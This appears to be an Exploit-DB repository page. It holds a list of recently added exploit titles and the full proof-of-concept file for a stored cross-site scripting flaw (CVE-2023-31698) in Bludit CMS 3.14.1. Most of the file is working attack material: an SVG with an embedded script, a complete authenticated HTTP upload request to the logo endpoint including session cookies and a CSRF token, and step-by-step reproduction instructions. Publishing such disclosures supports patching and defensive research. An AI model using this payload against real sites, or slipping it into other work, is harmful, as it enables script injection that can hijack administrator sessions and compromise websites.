0a7adaa3fc
40 changes to exploits/shellcodes/ghdb Optoma 1080PSTX Firmware C02 - Authentication Bypass Screen SFT DAB 600/C - Authentication Bypass Account Creation Screen SFT DAB 600/C - Authentication Bypass Admin Password Change Screen SFT DAB 600/C - Authentication Bypass Erase Account Screen SFT DAB 600/C - Authentication Bypass Password Change Screen SFT DAB 600/C - Authentication Bypass Reset Board Config Screen SFT DAB 600/C - Unauthenticated Information Disclosure (userManager.cgx) PnPSCADA v2.x - Unauthenticated PostgreSQL Injection Gin Markdown Editor v0.7.4 (Electron) - Arbitrary Code Execution Yank Note v3.52.1 (Electron) - Arbitrary Code Execution Apache Superset 2.0.0 - Authentication Bypass FusionInvoice 2023-1.0 - Stored XSS (Cross-Site Scripting) PaperCut NG/MG 22.0.4 - Remote Code Execution (RCE) Affiliate Me Version 5.0.1 - SQL Injection Best POS Management System v1.0 - Unauthenticated Remote Code Execution Bludit CMS v3.14.1 - Stored Cross-Site Scripting (XSS) (Authenticated) ChurchCRM v4.5.4 - Reflected XSS via Image (Authenticated) CiviCRM 5.59.alpha1 - Stored XSS (Cross-Site Scripting) e107 v2.3.2 - Reflected XSS File Thingie 2.5.7 - Remote Code Execution (RCE) GetSimple CMS v3.3.16 - Remote Code Execution (RCE) LeadPro CRM v1.0 - SQL Injection PodcastGenerator 3.2.9 - Multiple Stored Cross-Site Scripting (XSS) Prestashop 8.0.4 - CSV injection Quicklancer v1.0 - SQL Injection SitemagicCMS 4.4.3 - Remote Code Execution (RCE) Smart School v1.0 - SQL Injection Stackposts Social Marketing Tool v1.0 - SQL Injection thrsrossi Millhouse-Project 1.414 - Remote Code Execution TinyWebGallery v2.5 - Remote Code Execution (RCE) WBiz Desk 1.2 - SQL Injection Webkul Qloapps 1.5.2 - Cross-Site Scripting (XSS) WordPress Plugin Backup Migration 1.2.8 - Unauthenticated Database Backup Cameleon CMS 2.7.4 - Persistent Stored XSS in Post Title Hubstaff 1.6.14-61e5e22e - 'wow64log' DLL Search Order Hijacking MobileTrans 4.0.11 - Weak Service Privilege Escalation Trend Micro OfficeScan Client 10.0 - ACL Service LPE eScan Management Console 14.0.1400.2281 - Cross Site Scripting eScan Management Console 14.0.1400.2281 - SQL Injection (Authenticated)
64 lines
No EOL
2.1 KiB
Text
64 lines
No EOL
2.1 KiB
Text
# Exploit Title: Bludit CMS v3.14.1 - Stored Cross-Site Scripting (XSS) (Authenticated)
|
|
# Date: 2023-04-15
|
|
# Exploit Author: Rahad Chowdhury
|
|
# Vendor Homepage: https://www.bludit.com/
|
|
# Software Link: https://github.com/bludit/bludit/releases/tag/3.14.1
|
|
# Version: 3.14.1
|
|
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53
|
|
# CVE: CVE-2023-31698
|
|
|
|
SVG Payload
|
|
-------------
|
|
<?xml version="1.0" standalone="no"?>
|
|
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
|
|
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
|
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
|
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400
|
|
"/>
|
|
<script type="text/javascript">
|
|
alert(document.domain);
|
|
</script>
|
|
</svg>
|
|
|
|
save this SVG file xss.svg
|
|
|
|
Steps to Reproduce:
|
|
|
|
1. At first login your admin panel.
|
|
2. then go to settings and click the logo section.
|
|
3. Now upload xss.svg file so your request data will be
|
|
|
|
POST /bludit/admin/ajax/logo-upload HTTP/1.1
|
|
Host: 127.0.0.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
|
|
Gecko/20100101 Firefox/112.0
|
|
Content-Type: multipart/form-data;
|
|
boundary=---------------------------15560729415644048492005010998
|
|
Referer: http://127.0.0.1/bludit/admin/settings
|
|
Cookie: BLUDITREMEMBERUSERNAME=admin;
|
|
BLUDITREMEMBERTOKEN=139167a80807781336bc7484552bc985;
|
|
BLUDIT-KEY=tmap19d0m813e8rqfft8rsl74i
|
|
Content-Length: 651
|
|
|
|
-----------------------------15560729415644048492005010998
|
|
Content-Disposition: form-data; name="tokenCSRF"
|
|
|
|
626c201693546f472cdfc11bed0938aab8c6e480
|
|
-----------------------------15560729415644048492005010998
|
|
Content-Disposition: form-data; name="inputFile"; filename="xss.svg"
|
|
Content-Type: image/svg+xml
|
|
|
|
<?xml version="1.0" standalone="no"?>
|
|
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
|
|
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
|
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
|
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400
|
|
"/>
|
|
<script type="text/javascript">
|
|
alert(document.domain);
|
|
</script>
|
|
</svg>
|
|
|
|
-----------------------------15560729415644048492005010998--
|
|
|
|
4. Now open the logo image link that you upload. You will see XSS pop up. |